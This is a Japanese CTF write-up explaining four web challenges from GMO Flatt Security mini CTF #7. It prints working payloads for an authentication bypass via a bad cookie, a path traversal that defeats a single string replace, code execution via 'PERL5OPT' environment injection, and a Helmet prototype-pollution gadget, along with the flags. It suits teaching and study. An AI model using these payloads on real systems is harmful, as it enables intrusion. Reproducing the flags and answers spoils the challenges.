

# GMO Flatt Security mini CTF #7 解説

st98 (@st98\_)

2025-08-19

## 今回出題した問題たち

- login-as-admin (warmup)
  - 不適切なエラーハンドリング
- file yomitaro (easy)
  - Path Traversal
- shaberu ushi (medium)
  - 環境変数の汚染からの任意コード実行
- helmet-anuki (medium)
  - Prototype Pollution

## login-as-admin - 問題情報

- 問題文
  - adminとしてログインして /admin にアクセスすればフラグがもらえるようですが、  
肝心のadminとしてログインする機能が存在していません。今すぐ  
フラグが必要なのに困ります。
- 問題のゴール
  - adminとしてログインしているように見せかけて /admin にアクセ  
スする

# login-as-admin - ソースコード

```
app.get('/admin', (req, res) => {
  const username = req.cookies.username;
  if (username === 'admin') {
    return res.send('What are you trying to do?');
  }

  const user = users[username];
  try {
    if (!username || !user.isAdmin) {
      return res.send(`You don't have enough permissions to access this page.`);
    }
  } catch {
    console.error('something wrong');
  }
  return res.send(`Hello, admin! The flag is: ${FLAG}`);
});
```

## login-as-admin - どうやって解く？

- もしusernameに存在しないユーザ名が入っていればどうなる？
- userはundefinedになる
  - user.isAdminへのアクセスで例外 (TypeError) が発生する
- catchブロックではエラーメッセージを出力する
  - が、returnによって処理を打ち切っていない
  - その次のフラグを出力する処理まで実行されてしまう

```
try {
  if (!username || !user.isAdmin) {
    return res.send(`You don't have enough permissions to access this page.`);
  }
} catch {
  console.error('something wrong');
}

return res.send(`Hello, admin! The flag is: ${FLAG}`);
```

# login-as-admin - 解法

```
% curl https://login-as-admin-385816231223.asia-northeast1.run.app/admin \
>     -b "username=invalid-username"
Hello, admin! The flag is: flag{adminmin_zemi_93f7105a}%
```

## file yomitaro - 問題情報

- 問題文
  - ファイルを読めるWebアプリを作りました。
  - 対策をしているのでPath Traversalはできません。たぶん。
- 問題のゴール:
  - 「対策」をバイパスして /flag を読み出す

# file yomitaro - ソースコード

```
app.get('/static/:file', (req, res) => {
  let file = req.params.file;
  for (const forbidden of ['dev', 'proc']) {
    if (file.includes(forbidden)) {
      return res.status(400).send({
        error: `Access to ${forbidden} directory is not allowed`,
        requestedFile: file
      });
    }
  }

  file = file.replace('..', ''); // Prevent directory traversal
  if (file.endsWith('.js')) {
    res.setHeader('Content-Type', 'application/javascript');
  } else if (file.endsWith('.css')) {
    res.setHeader('Content-Type', 'text/css');
  }

  if (fs.existsSync(`./static/${file}`)) {
    return res.send(fs.readFileSync(`./static/${file}`, 'utf8'));
  }
  return res.status(404).send({
    error: 'File not found',
    requestedFile: file
  });
});
```

## file yomitaro - どうやって解く?

- 読み出すファイルはパスパラメータから指定する
- /static/hoge/fugaのようにパラメータにスラッシュを含ませようとすると、そもそも/static/:fileにマッチしなくなってしまう
- しかしながら、パーセントエンコーディングを施してやることで、強引にパラメータにスラッシュを含ませることができる

```
% curl https://file-yomitaro-385816231223.asia-northeast1.run.app/static/hoge%2ffuga
{"error":"File not found","requestedFile":"hoge/fuga"}%
```

## file yomitaro - どうやって解く?

- ..../flagでルートディレクトリまでさかのぼり、フラグを取得したくなる…が、次のように..という文字列は消されてしまう
- しかしながら、JavaScriptのString.prototype.replaceは、第1引数として文字列が与えられた場合に、一度だけ置き換える
  - [https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global\\_Objects/String/replace](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
- ....../flagのようなパラメータを与えると、一度だけ..が削除されて、..../flagとなる

```
file = file.replace('..', ''); // Prevent directory traversal
```

# file yomitaro - 解法

```
% curl https://file-yomitaro-385816231223.asia-northeast1.run.app/static/...%2f..%2fflag  
flag{tiger_bar_monkey_29a4530e}
```

## shaburu ushi - 問題情報

- 問題文
  - 人語を解する牛が発見されました。現地と中継がつながっています。
- 問題のゴール:
  - /readflag-(ランダムなhex) を実行する

# shaberu ushi - ソースコード

```
app.post('/say', (req, res) => {
  const params = req.body.params || {};
  if (typeof params.input !== 'string' || params.input.length > 100) {
    return res.status(400).json({ error: 'Message too long' });
  }

  try {
    const result = cp.execFileSync('/usr/games/cowsay', [], {
      ...params,
      encoding: 'utf8',
      timeout: 3000,

      // just to be sure we don't execute arbitrary commands
      cwd: '/app',
      shell: '/bin/sh'
    });

    return res.json({
      message: result.trim()
    });
  } catch (error) {
    return res.status(500).json({ error: 'Failed to generate cowsay' });
  }
});
```

## shaburu ushi - どうやって解く?

- child\_process.execFileSyncを使ってcowsayを呼び出している
- この関数に与えられるオプションのうち、encoding, timeout, cwd, shellの4つ以外はユーザの好きなものに変更できる
- ほかには、どんなオプションがある?
  - <https://nodejs.org/api/>  
[child\\_process.html#child\\_processexecfilesyncfile-args-options](https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options)
- envを汚染すれば、環境変数が置き換えられる

```
o env <Object> Environment key-value pairs. Default: process.env.
```

## shaburu ushi - どうやって解く?

- では、どんな環境変数を置き換えられると嬉しい?
- たとえば、Node.jsではNODE\_OPTIONSでオプションが操作できるし、LinuxではLD\_PRELOADで好きな共有ライブラリをロードできる
  - いずれも、今回の状況では使いづらい
  - でも、cowsayはそんな高尚な機能を持っているのか?
- apt install cowsayして/usr/games/cowsayを読んでみると、shebangから**実はPerl**製であることがわかる
  - → Perlがどんな環境変数を参照するか見ればよさそう

## shaburu ushi - どうやって解く?

- manを読んだり、Perlの処理系のコードを読んだり、getenvの呼び出しを監視したり…といった方法でも探せるかもしれないが、そんなことをやっている時間はない
- “perl environment variables exploit” 等のワードで検索し、悪用可能な環境変数がないか探す
- 色々記事が見つかるが、特に次の“Hacking With Environment Variables”がおすすめ
  - <https://www.elttam.com/blog/env/>
  - PERL5OPT=-Mbase;print(`id`)で任意コード実行に持ち込む

# shab eru ushi - 解法

## helmet-anuki - 問題情報

- 問題文
  - Object.prototype の任意のプロパティに任意の値を設定できます。つまり、Prototype Pollutionができます!  
Helmetというライブラリが Content-Security-Policy ヘッダを送出してくれますが、その値に give me flag! を含ませることはできるでしょうか。
- 問題のゴール:
  - Content-Security-Policy の値に give me flag! を含ませる

# helmet-anuki - ソースコード

```
const express = require('express');
const helmet = require('helmet');

const FLAG = process.env.FLAG || 'flag{DUMMY}';
const IMPORTANT_HEADER_KEY = 'content-security-policy';

if (process.argv.length < 3) {
    console.error('no arg provided');
    process.exit(1);
}

// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
    Object.prototype[k] = v;
}
```

# helmet-anuki - ソースコード

```
app.listen(3000, () => {
  // send request to the server itself to check if the header is polluted
  fetch('http://localhost:3000').then(r => {
    if (!r.headers.has(IMPORTANT_HEADER_KEY)) {
      console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`);
      process.exit(0);
    }

    // if you control the Content-Security-Policy header, I will give you the flag
    const headerValue = r.headers.get(IMPORTANT_HEADER_KEY);
    const isHeaderPolluted = headerValue.includes('give me flag!');
    console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted');
    process.exit(0);
  });
});
```

## helmet-anuki - どうやって解く?

- Object.prototypeの任意のプロパティを操作できる
- Helmetの中に、Content-Security-Header (CSP) ヘッダを操作できる  
ようなgadgetは存在していないか?
  - 本当にそのオブジェクト自身がそのプロパティを持っているかどうかを検証せずに、プロパティへアクセスしていないか?
  - Object.prototype.hasOwnPropertyが使われていないと怪しい
  - options.hogeのような感じで、オプションを参照する処理が便利なgadgetになりがち

## helmet-anuki - どうやって解く?

- Helmetのコードを確認していく
- 明示的にディレクティブが指定されていなければデフォルト値を使う、指定されていれば正しい値かチェックする…という処理がnormalizeDirectives関数で行われている
- ここで、directivesというプロパティが、**options自身の持つプロパティ**であるかどうかが検証されず参照されている
  - <https://github.com/helmetjs/helmet/blob/48105802/middlewares/content-security-policy/index.ts#L111-L112>

```
const { useDefaults = true, directives: rawDirectives = defaultDirectives } = options;
```

# helmet-anuki - 解法

## Tanuki Runner

入力:

```
{"directives":{"script-src":["give me flag!"]}}
```

実行

Congratulations! The flag is: flag{tanuki\_should\_be\_in\_the\_zodiac\_c7cfe870}